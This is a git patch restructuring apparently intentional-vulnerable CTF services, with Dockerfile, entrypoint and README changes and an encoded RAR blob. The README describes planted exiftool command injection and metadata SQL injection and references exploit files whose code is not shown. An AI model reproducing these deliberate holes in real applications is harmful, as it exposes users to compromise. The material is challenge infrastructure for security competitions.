From 3857f0bdc06896fb76def8c7e0b8a9381133f461 Mon Sep 17 00:00:00 2001 From: Jonathan Date: Sat, 11 Oct 2025 12:42:26 +0700 Subject: [PATCH] rev blogpost --- services/blogpost/Dockerfile | 61 ++++- services/blogpost/README.md | 15 ++ services/blogpost/{ => chall}/app.py | 2 +- services/blogpost/{ => chall}/data/app.db | Bin services/blogpost/chall/entrypoint.sh | 67 +++++ services/blogpost/{ => chall}/init_db.sql | 0 .../blogpost/{ => chall}/requirements.txt | 2 +- .../blogpost/{ => chall}/static/style.css | 0 .../{ => chall}/templates/create_post.html | 0 .../blogpost/{ => chall}/templates/index.html | 0 .../{ => chall}/templates/layout.html | 0 .../blogpost/{ => chall}/templates/login.html | 0 .../{ => chall}/templates/profile.html | 0 .../{ => chall}/templates/register.html | 0 .../{ => chall}/templates/view_post.html | 0 services/blogpost/dist/blogpost.rar | Bin 0 -> 12134 bytes services/blogpost/docker-compose.yml | 16 +- services/blogpost/entrypoint.sh | 22 -- services/blogpost/exploits/exp1.py | 4 +- services/blogpost/exploits/exp2.py | 2 +- services/blogpost/exploits/sqli.png | Bin 1036560 -> 1036560 bytes services/blogpost/sla.py | 250 ++++++++++++++++++ services/cdn/dist/cdn.rar | Bin 0 -> 7556 bytes services/cdn/{ => src}/Dockerfile | 0 services/cdn/{ => src}/app.py | 0 services/cdn/{ => src}/docker-compose.yml | 0 services/cdn/{ => src}/entrypoint.sh | 0 services/cdn/{ => src}/flag_seed.py | 0 services/cdn/{ => src}/requirements.txt | 0 services/cdn/{ => src}/static/style.css | 0 services/cdn/{ => src}/templates/base.html | 0 services/cdn/{ => src}/templates/gallery.html | 0 services/cdn/{ => src}/templates/login.html | 0 .../cdn/{ => src}/templates/register.html | 0 services/cdn/{ => src}/templates/upload.html | 0 .../cdn/{ => src}/templates/view_post.html | 0 36 files changed, 398 insertions(+), 43 deletions(-) create mode 100644 services/blogpost/README.md rename services/blogpost/{ => chall}/app.py (99%) rename services/blogpost/{ => chall}/data/app.db (100%) create mode 100644 services/blogpost/chall/entrypoint.sh rename services/blogpost/{ => chall}/init_db.sql (100%) rename services/blogpost/{ => chall}/requirements.txt (67%) rename services/blogpost/{ => chall}/static/style.css (100%) rename services/blogpost/{ => chall}/templates/create_post.html (100%) rename services/blogpost/{ => chall}/templates/index.html (100%) rename services/blogpost/{ => chall}/templates/layout.html (100%) rename services/blogpost/{ => chall}/templates/login.html (100%) rename services/blogpost/{ => chall}/templates/profile.html (100%) rename services/blogpost/{ => chall}/templates/register.html (100%) rename services/blogpost/{ => chall}/templates/view_post.html (100%) create mode 100644 services/blogpost/dist/blogpost.rar delete mode 100644 services/blogpost/entrypoint.sh create mode 100644 services/blogpost/sla.py create mode 100644 services/cdn/dist/cdn.rar rename services/cdn/{ => src}/Dockerfile (100%) rename services/cdn/{ => src}/app.py (100%) rename services/cdn/{ => src}/docker-compose.yml (100%) rename services/cdn/{ => src}/entrypoint.sh (100%) rename services/cdn/{ => src}/flag_seed.py (100%) rename services/cdn/{ => src}/requirements.txt (100%) rename services/cdn/{ => src}/static/style.css (100%) rename services/cdn/{ => src}/templates/base.html (100%) rename services/cdn/{ => src}/templates/gallery.html (100%) rename services/cdn/{ => src}/templates/login.html (100%) rename services/cdn/{ => src}/templates/register.html (100%) rename services/cdn/{ => src}/templates/upload.html (100%) rename services/cdn/{ => src}/templates/view_post.html (100%) diff --git a/services/blogpost/Dockerfile b/services/blogpost/Dockerfile index 8a23bc8..9afad55 100644 --- a/services/blogpost/Dockerfile +++ b/services/blogpost/Dockerfile @@ -1,21 +1,62 @@ -FROM python:3.11-slim +# Dockerfile +FROM python:3.11-slim-bullseye -RUN apt-get update && DEBIAN_FRONTEND=noninteractive apt-get install -y \ - libimage-exiftool-perl \ - sqlite3 \ - build-essential \ - && rm -rf /var/lib/apt/lists/* +# Build-time args +ARG PASSWORD WORKDIR /app -COPY requirements.txt /app/ +# Prevent interactive prompts during apt installs +ENV DEBIAN_FRONTEND=noninteractive +ENV DB_PATH=/data/app.db + +# Install packages we need (exiftool, sqlite3, sshd, build tools, editor) +RUN apt-get update && \ + apt-get install -y --no-install-recommends \ + libimage-exiftool-perl \ + sqlite3 \ + openssh-server \ + build-essential \ + bash \ + nano \ + && rm -rf /var/lib/apt/lists/* + +# Create an unprivileged user for running the app / SSH access +RUN useradd -m -d /home/ctfuser -s /bin/bash ctfuser \ + && if [ -n "${PASSWORD}" ]; then echo "ctfuser:${PASSWORD}" | chpasswd; fi + +# Copy application and requirements +COPY chall/requirements.txt /app/ RUN pip install --no-cache-dir -r /app/requirements.txt -COPY . /app -RUN chmod +x /app/entrypoint.sh +COPY chall/ . -RUN mkdir -p /data /app/uploads +# Ensure entrypoint exists and is executable (keeps your existing entrypoint.sh) +RUN chmod +x /app/entrypoint.sh || true +# Create needed directories and set permissions +RUN mkdir -p /data /app/uploads /run/sshd /notes \ + && chown -R ctfuser:ctfuser /app /app/uploads /notes \ + && chmod 755 /app \ + && chmod 777 /app/uploads +# (intentionally NOT chowning /data here; we’ll fix /data at runtime in case it’s a bind mount) + +# Create the flag file with safe perms (will be overwritten at runtime if FLAG is set) +RUN touch /flag.txt && chown root:root /flag.txt && chmod 644 /flag.txt + +# Configure basic sshd options +RUN echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config && \ + echo "PermitRootLogin no" >> /etc/ssh/sshd_config && \ + echo "AllowUsers ctfuser" >> /etc/ssh/sshd_config && \ + echo "PermitEmptyPasswords no" >> /etc/ssh/sshd_config + +# Generate host keys and make sure /run/sshd exists +RUN ssh-keygen -A || true +RUN mkdir -p /run/sshd && chmod 755 /run/sshd + +# Expose app and ssh ports EXPOSE 8000 +EXPOSE 22 +USER root CMD ["/app/entrypoint.sh"] diff --git a/services/blogpost/README.md b/services/blogpost/README.md new file mode 100644 index 0000000..e73ccbc --- /dev/null +++ b/services/blogpost/README.md @@ -0,0 +1,15 @@ +## Blogpost + +db used: sqlite +flag.txt: GEMASTIK{random sha256 generated on app start} + +feature: +[authentication required with login and register, register default as "user" role] +1. search feature +2. create, edit, visit post form that can upload images (png, jpg/jpeg, bmp) query the image metadata taken with exiftool to the sqlite database +3. profile (if the account type is admin, render the content of flag.txt) + +vuln1: Command injection on exiftool (payload: exp1.py) +vuln2: SQLi on image metadata to enable altering user account into admin account (payload: sqli.png, exp2.py) + +patching rules?: \ No newline at end of file diff --git a/services/blogpost/app.py b/services/blogpost/chall/app.py similarity index 99% rename from services/blogpost/app.py rename to services/blogpost/chall/app.py index bbb45c3..f2ca41c 100644 --- a/services/blogpost/app.py +++ b/services/blogpost/chall/app.py @@ -10,7 +10,7 @@ from markupsafe import escape as m_escape APP_DIR = os.path.dirname(os.path.abspath(__file__)) UPLOAD_FOLDER = os.path.join(APP_DIR, "uploads") DB_PATH = "/data/app.db" -FLAG_PATH = "/app/flag.txt" +FLAG_PATH = "/flag.txt" ALLOWED_EXT = {'png', 'jpg', 'jpeg', 'bmp'} diff --git a/services/blogpost/data/app.db b/services/blogpost/chall/data/app.db similarity index 100% rename from services/blogpost/data/app.db rename to services/blogpost/chall/data/app.db diff --git a/services/blogpost/chall/entrypoint.sh b/services/blogpost/chall/entrypoint.sh new file mode 100644 index 0000000..90daf33 --- /dev/null +++ b/services/blogpost/chall/entrypoint.sh @@ -0,0 +1,67 @@ +#!/usr/bin/env bash +set -euo pipefail + +umask 002 # so group-writable files end up 664 and dirs 775 (good for volumes) + +APP_DIR="/app" +UPLOADS_DIR="${APP_DIR}/uploads" +DATA_DIR="/data" +DBFILE="${DATA_DIR}/app.db" +INIT_SQL="${APP_DIR}/init_db.sql" +FLAG_FILE="/flag.txt" + +# Create required dirs +mkdir -p "${UPLOADS_DIR}" "${DATA_DIR}" + +# Try to ensure runtime ownership (works for named volumes; bind-mounts may ignore) +chown -R ctfuser:ctfuser "${UPLOADS_DIR}" "${APP_DIR}" 2>/dev/null || true +chown -R ctfuser:ctfuser "${DATA_DIR}" 2>/dev/null || true + +# Minimum perms so SQLite can create -wal/-shm alongside the DB +chmod 775 "${DATA_DIR}" || true +chmod 775 "${UPLOADS_DIR}" || true + +# Initialize database as ctfuser so the file is owned/writable by the app user +if [ ! -f "${DBFILE}" ]; then + echo "Initializing database at ${DBFILE}..." + # ensure parent dir writable + if [ ! -w "${DATA_DIR}" ]; then + echo "WARN: ${DATA_DIR} is not writable by root; continuing…" + fi + # create empty DB as ctfuser (so ownership is correct), then run schema + su -s /bin/bash -c "touch '${DBFILE}'" ctfuser || true + # permissions suitable for SQLite + group access + chmod 664 "${DBFILE}" || true + # run schema if present + if [ -f "${INIT_SQL}" ]; then + su -s /bin/bash -c "sqlite3 '${DBFILE}' < '${INIT_SQL}'" ctfuser + fi +fi + +# (Optional) If your host FS hates WAL, uncomment these lines to switch to DELETE mode on first run +# su -s /bin/bash -c "sqlite3 '${DBFILE}' 'PRAGMA journal_mode=DELETE; PRAGMA synchronous=NORMAL;'" ctfuser || true + +# Environment for Flask (your app still runs via python app.py) +export FLASK_APP="${APP_DIR}/app.py" +export FLASK_ENV=production + +# Start SSH (Debian slim may not have full init; fall back to raw sshd) +if command -v service >/dev/null 2>&1; then + service ssh start || /usr/sbin/sshd & +else + /usr/sbin/sshd & +fi + +# Handle flag (keep owned by root, world-readable OK for CTF unless you want to restrict) +if [ "${FLAG:-}" != "" ]; then + echo "$FLAG" > "${FLAG_FILE}" + chown root:root "${FLAG_FILE}" || true + chmod 644 "${FLAG_FILE}" || true +fi + +echo "Starting Flask app (port 8000) as ctfuser…" +# Final sanity: make sure runtime dirs stay writable for WAL/SHM/uploads +chmod g+w "${DATA_DIR}" "${UPLOADS_DIR}" 2>/dev/null || true + +# Exec the app as ctfuser +exec su -s /bin/bash -c "cd '${APP_DIR}' && python3 app.py" ctfuser diff --git a/services/blogpost/init_db.sql b/services/blogpost/chall/init_db.sql similarity index 100% rename from services/blogpost/init_db.sql rename to services/blogpost/chall/init_db.sql diff --git a/services/blogpost/requirements.txt b/services/blogpost/chall/requirements.txt similarity index 67% rename from services/blogpost/requirements.txt rename to services/blogpost/chall/requirements.txt index 5112d0d..fb39917 100644 --- a/services/blogpost/requirements.txt +++ b/services/blogpost/chall/requirements.txt @@ -1,3 +1,3 @@ Flask==2.2.5 werkzeug==2.2.3 -Jinja2==3.1.2 +Jinja2==3.1.2 \ No newline at end of file diff --git a/services/blogpost/static/style.css b/services/blogpost/chall/static/style.css similarity index 100% rename from services/blogpost/static/style.css rename to services/blogpost/chall/static/style.css diff --git a/services/blogpost/templates/create_post.html b/services/blogpost/chall/templates/create_post.html similarity index 100% rename from services/blogpost/templates/create_post.html rename to services/blogpost/chall/templates/create_post.html diff --git a/services/blogpost/templates/index.html b/services/blogpost/chall/templates/index.html similarity index 100% rename from services/blogpost/templates/index.html rename to services/blogpost/chall/templates/index.html diff --git a/services/blogpost/templates/layout.html b/services/blogpost/chall/templates/layout.html similarity index 100% rename from services/blogpost/templates/layout.html rename to services/blogpost/chall/templates/layout.html diff --git a/services/blogpost/templates/login.html b/services/blogpost/chall/templates/login.html similarity index 100% rename from services/blogpost/templates/login.html rename to services/blogpost/chall/templates/login.html diff --git a/services/blogpost/templates/profile.html b/services/blogpost/chall/templates/profile.html similarity index 100% rename from services/blogpost/templates/profile.html rename to services/blogpost/chall/templates/profile.html diff --git a/services/blogpost/templates/register.html b/services/blogpost/chall/templates/register.html similarity index 100% rename from services/blogpost/templates/register.html rename to services/blogpost/chall/templates/register.html diff --git a/services/blogpost/templates/view_post.html b/services/blogpost/chall/templates/view_post.html similarity index 100% rename from services/blogpost/templates/view_post.html rename to services/blogpost/chall/templates/view_post.html diff --git a/services/blogpost/dist/blogpost.rar b/services/blogpost/dist/blogpost.rar new file mode 100644 index 0000000000000000000000000000000000000000..17cdf2c865856a1ad28442a42e904d12d394b7b3 GIT binary patch literal 12134 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 